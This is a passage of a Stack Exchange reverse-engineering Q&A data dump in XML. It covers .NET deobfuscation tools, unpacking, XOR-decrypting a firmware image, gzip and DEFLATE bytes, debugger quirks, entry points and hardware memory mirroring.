  <row Id="22396" PostTypeId="2" ParentId="22367" CreationDate="2019-10-25T22:55:31.353" Score="3" Body="&lt;p&gt;You can use de4dot (&lt;a href=&quot;https://github.com/0xd4d/de4dot&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/0xd4d/de4dot&lt;/a&gt;) to deobfuscate the binary. Static analysis of dotnet binaries can be done easily by using de4dot and then using ILSpy to create a visual studio project, then you can analyze the source code in visual studio. You can also use dnSpy which allows you to debug the binary easily. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the instrumentation, a dotnet binary still runs native code at runtime, with all the normal Win32 libraries. You can use Api Monitor (&lt;a href=&quot;http://www.rohitab.com/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.rohitab.com/downloads&lt;/a&gt;) to monitor os api calls at runtime, it's an awesome tool that works by hooking libraries and decoding parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover you can use procmon to display simple information like file system operations, registry, etc.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck &lt;/p&gt;&#xA;" OwnerUserId="26854" LastActivityDate="2019-10-25T22:55:31.353" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22397" PostTypeId="2" ParentId="22390" CreationDate="2019-10-26T05:38:10.340" Score="1" Body="&lt;p&gt;I would say this really depends on your definition of &lt;em&gt;packing&lt;/em&gt;. Typically packing is limited to compression moreso than protection. In this case the binary is updated to maintain virtual memory while minimizing file size. The entry point will decompress everything so, despite the files differing, the virtual memory at the point of executing the original entry point is identical to the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dumping from memory is never enough by itself (in most cases) even for something as basic as compression. You will still need to rebuild the decompressed file properly (i.e adding imports, fixing section headers, etc.) These basics are done by most dumpers though, so I would say a typical dump is enough for a typical packer. What about further protection though?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cases where a file is not only compressed but also obfuscated, the newly generated binary from a generic dump will still be exceedingly broken. For example the imports table may not only be removed but also dynamically relocated and encrypted. This will cause the dump to fail rebuilding imports which can significantly slow down reversing. Similarly the packer could strip relocations, remap sections, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dumping&lt;/strong&gt;&lt;br&gt;&#xA;Typically refers to very generic unpacking. If the packer is simple compression then this is usually all that's needed for a proper copy of the original.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unpacking&lt;/strong&gt;&lt;br&gt;&#xA;Typically refers to more specialized unpacking. Various areas of the packer in this case will generate an image in memory different than the original copy, all changes of which need to be detected and reversed.  &lt;/p&gt;&#xA;" OwnerUserId="29598" LastEditorUserId="29598" LastEditDate="2019-10-26T06:19:38.517" LastActivityDate="2019-10-26T06:19:38.517" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22398" PostTypeId="2" ParentId="20070" CreationDate="2019-10-26T07:32:27.227" Score="6" Body="&lt;h1&gt;TL;DR&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Yes the file is encrypted, it is a simple XOR cipher with a key length of 0x800 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python script for getting decrypted firmware:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import struct&#xA;&#xA;FILENAME = &quot;HW718V40_20171008.firmware&quot;&#xA;&#xA;def xor_cipher(data, key):&#xA;    import sys&#xA;    from itertools import cycle&#xA;    if (sys.version_info &amp;gt; (3, 0)):&#xA;        return bytes(a ^ b for a, b in zip(data, cycle(key)))&#xA;    else:&#xA;        return bytes(bytearray(a ^ b for a, b in zip(bytearray(data), cycle(bytearray(key)))))&#xA;&#xA;key = struct.pack('&amp;lt;I', 0x00001AE7) * 8 + struct.pack('&amp;lt;I', 0x000026EF) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x0000565C) * 8 + struct.pack('&amp;lt;I',&#xA;    0x00001109) * 8 + struct.pack('&amp;lt;I', 0x00005618) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x000077D6) * 8 + struct.pack('&amp;lt;I', 0x00000F45) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x000024AE) * 8 + struct.pack('&amp;lt;I',&#xA;    0x00001C42) * 8 + struct.pack('&amp;lt;I', 0x00006D4C) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x0000754E) * 8 + struct.pack('&amp;lt;I', 0x0000449C) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x000056A2) * 8 + struct.pack('&amp;lt;I',&#xA;    0x00003EED) * 8 + struct.pack('&amp;lt;I', 0x0000106C) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x00000C7D) * 8 + struct.pack('&amp;lt;I', 0x0000578C) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x000045CB) * 8 + struct.pack('&amp;lt;I',&#xA;    0x0000253C) * 8 + struct.pack('&amp;lt;I', 0x00007F0F) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x00006513) * 8 + struct.pack('&amp;lt;I', 0x000004C0) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x00006BFF) * 8 + struct.pack('&amp;lt;I',&#xA;    0x0000711C) * 8 + struct.pack('&amp;lt;I', 0x00004829) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x00000B03) * 8 + struct.pack('&amp;lt;I', 0x000038E2) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x000020AC) * 8 + struct.pack('&amp;lt;I',&#xA;    0x00005708) * 8 + struct.pack('&amp;lt;I', 0x000064FA) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x00007984) * 8 + struct.pack('&amp;lt;I', 0x00004C79) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x00007ED1) * 8 + struct.pack('&amp;lt;I',&#xA;    0x00000F4F) * 8 + struct.pack('&amp;lt;I', 0x00002BB2) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x00005FA3) * 8 + struct.pack('&amp;lt;I', 0x00001073) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x00002046) * 8 + struct.pack('&amp;lt;I',&#xA;    0x00003175) * 8 + struct.pack('&amp;lt;I', 0x000005A5) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x000054CF) * 8 + struct.pack('&amp;lt;I', 0x00001B4E) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x0000264E) * 8 + struct.pack('&amp;lt;I',&#xA;    0x00003A88) * 8 + struct.pack('&amp;lt;I', 0x00002C1A) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x000022D6) * 8 + struct.pack('&amp;lt;I', 0x000019C0) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x00002B57) * 8 + struct.pack('&amp;lt;I',&#xA;    0x00003C82) * 8 + struct.pack('&amp;lt;I', 0x00007C61) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x0000530F) * 8 + struct.pack('&amp;lt;I', 0x00007AD2) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x00007414) * 8 + struct.pack('&amp;lt;I',&#xA;    0x00001ADD) * 8 + struct.pack('&amp;lt;I', 0xD6ADBCEF) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x00003E66) * 8 + struct.pack('&amp;lt;I', 0x000061DD) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x00002330) * 8 + struct.pack('&amp;lt;I',&#xA;    0xDEADBEEF) * 8 + struct.pack('&amp;lt;I', 0x0000475D) * 8 \&#xA;+ struct.pack('&amp;lt;I', 0x00002A4F) * 8 + struct.pack('&amp;lt;I', 0x00001F15) \&#xA;* 8 + struct.pack('&amp;lt;I', 0x00001162) * 8 + struct.pack('&amp;lt;I',&#xA;    0xE3ADBEEF) * 8&#xA;&#xA;buf = open(FILENAME, &quot;rb&quot;).read()&#xA;xbuf = xor_cipher(buf, key)&#xA;open(FILENAME + &quot;.out&quot;, &quot;wb&quot;).write(xbuf)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Walk-through&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Looking at the header of the firmware, we can make some guess (all values stored in Little-endian):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000000  04 83 57 48 9C 3B 01 00 C8 CF 28 00 00 1E 2B 6A  .ƒWHœ;..ÈÏ(...+j&#xA;00000010  47 00 0B 00 80 01 00 00 E4 CF 28 00 38 FE 28 00  G...€...äÏ(.8þ(.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x48578304 : Maybe a signature&lt;/li&gt;&#xA;&lt;li&gt;0x00013B9C : Almost the length of the firmware file length (originally 0x13C00)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If we look further in the firmware hexdump and assume we are dealing with a CORTEX device or something similar, at offset 0x20 we could think that there is a vector table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000020  CF 36 00 20 3E 1B 00 08 F2 D5 00 08 A4 D5 00 08  Ï6. &amp;gt;...òÕ..¤Õ..&#xA;00000030  A2 D5 00 08 A0 D5 00 08 BE D5 00 08 EF 26 00 00  ¢Õ.. Õ..¾Õ..ï&amp;amp;..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x200036CF : Initial SP Value&lt;/li&gt;&#xA;&lt;li&gt;0x08001B3E : Reset Vector&lt;/li&gt;&#xA;&lt;li&gt;0x0800D5F2 : NMI Vector&lt;/li&gt;&#xA;&lt;li&gt;0x0800D5A4 : Hard Fault&lt;/li&gt;&#xA;&lt;li&gt;0x0800D5A2 : Memory Management Fault&lt;/li&gt;&#xA;&lt;li&gt;0x0800D5A0 : Bus Fault&lt;/li&gt;&#xA;&lt;li&gt;0x0800D5BE : Usage Fault&lt;/li&gt;&#xA;&lt;li&gt;0x000026EF : RESERVED&lt;/li&gt;&#xA;&lt;li&gt;0x0000565C : RESERVED&lt;/li&gt;&#xA;&lt;li&gt;0x0000565C : RESERVED&lt;/li&gt;&#xA;&lt;li&gt;0x0000565C : RESERVED&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here we can notice few problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why the Initial SP Value is not aligned? &lt;/li&gt;&#xA;&lt;li&gt;Why the reserved vector are not NULL?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point, grepping the sequence of bytes &lt;code&gt;EF 26 00 00&lt;/code&gt; end up in an interesting place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00012000  E7 1A 00 00 E7 1A 00 00 E7 1A 00 00 E7 1A 00 00  ç...ç...ç...ç...&#xA;00012010  E7 1A 00 00 E7 1A 00 00 E7 1A 00 00 E7 1A 00 00  ç...ç...ç...ç...&#xA;00012020  EF 26 00 00 EF 26 00 00 EF 26 00 00 EF 26 00 00  ï&amp;amp;..ï&amp;amp;..ï&amp;amp;..ï&amp;amp;.. &amp;lt;&amp;lt; 0x000026EF REPEATED 4 TIMES&#xA;00012030  EF 26 00 00 EF 26 00 00 EF 26 00 00 EF 26 00 00  ï&amp;amp;..ï&amp;amp;..ï&amp;amp;..ï&amp;amp;.. &amp;lt;&amp;lt; 0x000026EF REPEATED 4 TIMES&#xA;00012040  5C 56 00 00 5C 56 00 00 5C 56 00 00 5C 56 00 00  \V..\V..\V..\V..&#xA;00012050  5C 56 00 00 5C 56 00 00 5C 56 00 00 5C 56 00 00  \V..\V..\V..\V..&#xA;00012060  09 11 00 00 09 11 00 00 09 11 00 00 09 11 00 00  ................&#xA;00012070  09 11 00 00 09 11 00 00 09 11 00 00 09 11 00 00  ................&#xA;00012080  18 56 00 00 18 56 00 00 18 56 00 00 18 56 00 00  .V...V...V...V..&#xA;00012090  18 56 00 00 18 56 00 00 18 56 00 00 18 56 00 00  .V...V...V...V..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see that the value 0x000026EF is repeated 8 times, and we have the value 0x0000565C (the other reserved vector) repeated 8 times, and some others values are repeated too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a big chance that we are inside some ZERO pages and it is a simple XOR cipher which is applied on the whole file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the XOR cipher key is in the following form:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;key[0] repeated 8 times&lt;/li&gt;&#xA;&lt;li&gt;key[1] repeated 8 times&lt;/li&gt;&#xA;&lt;li&gt;key[2] repeated 8 times&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;key[63] repeated 8 times&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By looking at all the offset where are stored the value the 0x000026EF, we can compute the delta between them, we can make a guess that the key length is 0x800 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully we can find 3 version of the firmware on the internet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;f553e034ba70138c270dac03e7dcda6f : &lt;code&gt;HW718V38_20170216.firmware&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;7440def1011f50749ff7f1ca8f7bcced : &lt;code&gt;HW718V39_20170221.firmware&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;0850c80192dcad7a0ce9a5446fb97f16 : &lt;code&gt;HW718V40_20171008.firmware&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In order to extract the full key, we split each firmware file in block of 0x800 bytes chuncks, and compute the number of occurence of every 0x04 bytes repeated every 0x20 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this we are able to extract the full key, some adjustments were required using the previous method:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;keys[34] = 0x2BB2&lt;/li&gt;&#xA;&lt;li&gt;keys[38] = 0x3175&lt;/li&gt;&#xA;&lt;li&gt;keys[54] = 0xD6ADBCEF     &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 4 bytes key ... wat !?&lt;/li&gt;&#xA;&lt;li&gt;keys[58] = 0xDEADBEEF     &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 4 bytes key ... wat !?&lt;/li&gt;&#xA;&lt;li&gt;keys[60] = 0x2A4F&lt;/li&gt;&#xA;&lt;li&gt;keys[62] = 0x1162&lt;/li&gt;&#xA;&lt;li&gt;keys[63] = 0xE3ADBEEF     &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 4 bytes key ... wat !?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last step is now to know the exact value for the loading address, by starting to disassemble the firmware with a processor ARM little-endian at a loading address 0x08000000 and file offset 0x20, we can find an interesting disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:0800B854                 LDR             R1, =0xE000ED08&#xA;ROM:0800B856                 LDR             R0, =0x8003C00&#xA;ROM:0800F458                 STR             R0, [R1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0xE000ED08 is the Vector Table Offset Register and the value 0x8003C00 is written inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we can reaload our firmware with an ARM processor in little-endian at the loading address 0x8003C00 and file offset 0x20 and we can start working on the reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="24696" LastActivityDate="2019-10-26T07:32:27.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22400" PostTypeId="1" AcceptedAnswerId="22403" CreationDate="2019-10-26T20:07:04.657" Score="2" ViewCount="255" Body="&lt;p&gt;I'm reading &lt;a href=&quot;http://www.zlib.org/rfc-gzip.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;gzip format specification&lt;/a&gt;, trying to understand byte-to-byte the following minimal example (generated using &lt;code&gt;echo -n | gzip &amp;gt; /tmp/a.gz&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  1f 8b 08 00 70 3c b4 5d  00 03 03 00 00 00 00 00  |....p&amp;lt;.]........|&#xA;00000010  00 00 00 00                                       |....|&#xA;00000014&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I managed to map most of the bytes, but the &quot;03 00&quot; is something I cannot interpret. I wrote a Python script to fuzz different values for the &quot;03&quot; byte, but nothing other than that byte is allowed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[15:13:05]&amp;gt;&amp;gt;&amp;gt; import subprocess&#xA;[15:13:08]&amp;gt;&amp;gt;&amp;gt; results = {}                  &#xA;[15:13:10]&amp;gt;&amp;gt;&amp;gt; for i in range(256): results[i] = subprocess.Popen(f'''echo '1f8b0800703cb45d0003{hex(i)[2:]:0&amp;gt;2}000000000000000000'  | xxd -r -p |  zcat''', shell=True, stderr=subprocess.PIPE).stderr.read()&#xA;... &#xA;Pp0�` ��@�X▒�x8�h(�H�[15:13:25]&amp;gt;&amp;gt;&amp;gt; &#xA;[15:13:26]&amp;gt;&amp;gt;&amp;gt; results2 = {value: list(k for k in results if results[k] == value) for value in results.values()}&#xA;[15:13:31]&amp;gt;&amp;gt;&amp;gt; results2&#xA;{b'\ngzip: stdin: invalid compressed data--format violated\n': [0, 1, 2, 6, 7, 8, 9, 10, 14, 15, 16, 17, 18, 22, 23, 24, 25, 26, 30, 31, 32, 33, 34, 38, 39, 40, 41, 42, 46, 47, 48, 49, 50, 54, 55, 56, 57, 58, 62, 63, 64, 65, 66, 70, 71, 72, 73, 74, 78, 79, 80, 81, 82, 86, 87, 88, 89, 90, 94, 95, 96, 97, 98, 102, 103, 104, 105, 106, 110, 111, 112, 113, 114, 118, 119, 120, 121, 122, 126, 127, 128, 129, 130, 134, 135, 136, 137, 138, 142, 143, 144, 145, 146, 150, 151, 152, 153, 154, 158, 159, 160, 161, 162, 166, 167, 168, 169, 170, 174, 175, 176, 177, 178, 182, 183, 184, 185, 186, 190, 191, 192, 193, 194, 198, 199, 200, 201, 202, 206, 207, 208, 209, 210, 214, 215, 216, 217, 218, 222, 223, 224, 225, 226, 230, 231, 232, 233, 234, 238, 239, 240, 241, 242, 244, 245, 246, 247, 248, 249, 250, 252, 253, 254, 255], b'': [3], b'\ngzip: stdin: unexpected end of file\n': [4, 5, 11, 12, 13, 19, 20, 21, 27, 28, 29, 35, 36, 37, 43, 44, 45, 51, 52, 53, 59, 60, 61, 67, 68, 69, 75, 76, 77, 83, 84, 85, 91, 92, 93, 99, 100, 101, 107, 108, 109, 115, 116, 117, 123, 124, 125, 131, 132, 133, 139, 140, 141, 147, 148, 149, 155, 156, 157, 163, 164, 165, 171, 172, 173, 179, 180, 181, 187, 188, 189, 195, 196, 197, 203, 204, 205, 211, 212, 213, 219, 220, 221, 227, 228, 229, 235, 236, 237, 243, 251]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's this &lt;code&gt;0x03 0x00&lt;/code&gt; and where in the gzip (or &lt;a href=&quot;https://www.w3.org/Graphics/PNG/RFC-1951#block-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;DEFLATE&lt;/a&gt;) documentation can I find it?&lt;/p&gt;&#xA;" OwnerUserId="4674" LastActivityDate="2019-10-29T05:41:39.417" Title="How to interpret the final 0x03 0x00 in this minimal gzip sample?" Tags="|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22402" PostTypeId="1" CreationDate="2019-10-27T12:39:31.397" Score="0" ViewCount="121" Body="&lt;p&gt;Question for people using Immunity Debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just started using Immunity Debugger, using 1.85 on Win 7 Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing some labs on vulnserver.exe and I am getting inconsistent results from Immunity Debugger. I will attach vulnserver.exe, select run in IB and execute a script to crash vulnserver to analyze the output. Detach &amp;amp; restart vulnserver.exe, then attach again and run the same script. I get two different results in the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I exit and restart Immunity Debugger between scripts, I get the correct output after running a script each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this standard behavior for Immunity Debugger? You have to exit and restart between each debugging capture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have re-installed IB twice and it continues to give these inconstant results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="30018" LastActivityDate="2019-10-27T12:39:31.397" Title="Immunity Debuggger Inconsistent Results" Tags="|debuggers|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22403" PostTypeId="2" ParentId="22400" CreationDate="2019-10-27T17:50:17.210" Score="4" Body="&lt;p&gt;If you read &lt;a href=&quot;https://zlib.net/zlib-1.2.11.tar.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;zlib source code&lt;/a&gt; alongside the &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc1951&quot; rel=&quot;nofollow noreferrer&quot;&gt;DEFLATE Compressed Data Format Specification&lt;/a&gt; you can find where they come from.&lt;/p&gt;&#xA;&lt;p&gt;The bits in those bytes represent the start and end of the compressed stream.&lt;/p&gt;&#xA;&lt;p&gt;Specifically they come from 2 relevant places in the source code -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// trees.c&#xA;// line 978&#xA;&#xA;// _tr_flush_block &#xA;&#xA;send_bits(s, (STATIC_TREES&amp;lt;&amp;lt;1)+last, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where here &lt;code&gt;last=1&lt;/code&gt; and &lt;code&gt;STATIC_TREES=1&lt;/code&gt;&#xA;(these correspond to &lt;code&gt;BFINAL&lt;/code&gt; and &lt;code&gt;BTYPE&lt;/code&gt; in the specification)&#xA;This outputs 3 bits 1, 1, 0 into the compressed file.&lt;/p&gt;&#xA;&lt;p&gt;These indicate that the compressed block uses the 'fixed tree' and is also the last block.&lt;/p&gt;&#xA;&lt;p&gt;Then it indicates that it's reached the end of the block -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// trees.c&#xA;// line 1108&#xA;&#xA;// compress_block&#xA;&#xA;send_code( c, END_BLOCK, ltree )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The end-of-block code is 256 which for the fixed huffman tree corresponds to 7 zero bits. (See 3.2.6 in the DEFLATE specification.)&#xA;Hence this outputs 7 bits 0, 0, 0, 0, 0, 0, 0 to the compressed file.&lt;/p&gt;&#xA;&lt;p&gt;This gives us 10 bits in total -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1 1 0 0 0 0 0 0 0 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Converting to bytes according the specification we get -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00000011 00000000, or&#xA;0x03, 0x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These are the values that you are seeing.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2019-10-29T05:41:39.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22405" PostTypeId="1" CreationDate="2019-10-28T01:15:00.347" Score="1" ViewCount="1575" Body="&lt;p&gt;im new to assembly and reverse engineering, i have a question regarding to how the address work.&#xA;I examined the entry point of a program using varies PE tools, the result is &lt;strong&gt;0x00043b33&lt;/strong&gt;, but when i loaded the same program into ollydbg, the starting address is at &lt;strong&gt;0x770B0D54&lt;/strong&gt;. Another thing is i executed the program line by line, it somehow jump back to the entry point at &lt;strong&gt;0x00043b33&lt;/strong&gt; and then go back to the address &lt;strong&gt;0x770B0D54&lt;/strong&gt; later again. Can someone guide me on this？ &lt;/p&gt;&#xA;" OwnerUserId="30023" LastActivityDate="2019-10-28T15:15:48.537" Title="Entry point of a program" Tags="|disassembly|assembly|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22406" PostTypeId="1" AcceptedAnswerId="22408" CreationDate="2019-10-28T07:11:20.100" Score="0" ViewCount="53" Body="&lt;p&gt;I'm analyzing a Seagate HDD that provides a serial boot console that allows reading/writing bytes to memory and setting an address pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a block of memory from &lt;code&gt;0x0&lt;/code&gt; to &lt;code&gt;0x20000&lt;/code&gt; and then it &lt;em&gt;repeats&lt;/em&gt; all the way to &lt;code&gt;0x100000&lt;/code&gt;. This isn't just a copy - if I write a byte to &lt;code&gt;0x20000&lt;/code&gt; or &lt;code&gt;0x40000&lt;/code&gt; the data at location &lt;code&gt;0x0&lt;/code&gt; also changes. At &lt;code&gt;0x100000&lt;/code&gt; there's another &lt;code&gt;128k&lt;/code&gt; block that is mirrored over and over until &lt;code&gt;0x200000&lt;/code&gt;. From &lt;code&gt;0x400000&lt;/code&gt; the first block of memory is mirrored again and again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a map:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1) 0x000000 - 0x020000&#xA;*) (mirrors of block 1)&#xA;2) 0x100000 - 0x120000&#xA;*) (mirrors of block 2)&#xA;3) 0x200000 - 0x300000&#xA;4) 0x300000 - 0x400000&#xA;*) (mirrors of block 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;MCU&lt;/code&gt; is some kind of &lt;code&gt;ARM&lt;/code&gt; processor. Is this some hardware memory-mapping feature of &lt;code&gt;ARM&lt;/code&gt;, is it setup by the &lt;code&gt;OS&lt;/code&gt;, or something else?&lt;/p&gt;&#xA;" OwnerUserId="29995" LastActivityDate="2019-10-28T15:09:55.977" Title="Multiple memory regions mapped to same data" Tags="|firmware|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22408" PostTypeId="2" ParentId="22406" CreationDate="2019-10-28T12:29:21.663" Score="2" Body="&lt;p&gt;The block selection logic just looks at the 4 most significant bits of the address, this is easily implemented by a multiplexer whose outputs feed into the enable pin of each memory chip. An 3 bit multiplexer and an OR gate (if active high) is enough to implement this scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mirroring within a block happens by not connecting the next set of significant bits to the memory chip, (likely because it just doesn't have the address space).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr it's a hardware memory map based on how the controller and memory chips are connected on the PCB. And it's something that needs a redesign to adjust.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastEditorUserId="14025" LastEditDate="2019-10-28T15:09:55.977" LastActivityDate="2019-10-28T15:09:55.977" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22409" PostTypeId="1" AcceptedAnswerId="22416" CreationDate="2019-10-28T15:04:23.350" Score="1" ViewCount="111" Body="&lt;p&gt;Given a large (~14MB) binary compiled for a X86 64-bit system, what would be the basic steps to go through in order to find the usage of Pi (π) for calculation of a certain parameter (flag)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm rather new at this, and I've tried looking through strings to find different mathematical terms and numbers, and I've also gone over the Functions window, and found names such as &lt;code&gt;_tan&lt;/code&gt;, &lt;code&gt;_pow&lt;/code&gt;, &lt;code&gt;_sqrt&lt;/code&gt;, &lt;code&gt;_sin&lt;/code&gt;, etc., but no mention of Pi specifically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone recommend another way to approach this? &#xA;Unfortunately I cannot share the specific binary I am working on. &lt;/p&gt;&#xA;" OwnerUserId="22248" LastActivityDate="2019-11-23T10:08:49.217" Title="Finding a mathematical calculation which uses Pi within binary" Tags="|ida|x86|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22410" PostTypeId="2" ParentId="22405" CreationDate="2019-10-28T15:15:48.537" Score="1" Body="&lt;p&gt;It's a matter where you want to break. The address &lt;code&gt;0x770B0D54&lt;/code&gt; is in kernel code and it's probably before kernel starts executing user code. Useful if there's some magic happening before &lt;code&gt;main&lt;/code&gt; is executed and you want to step through that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand &lt;code&gt;0x00043b33&lt;/code&gt; is int user code and it's probably the address of the &lt;code&gt;main&lt;/code&gt; function so that is the real code of the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In OllyDbg you can control the initial breakpoint in Options-&gt;Debugging, Startup and exit&#xA;&lt;a href=&quot;https://i.stack.imgur.com/M3sx8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M3sx8.png&quot; alt=&quot;enter image description 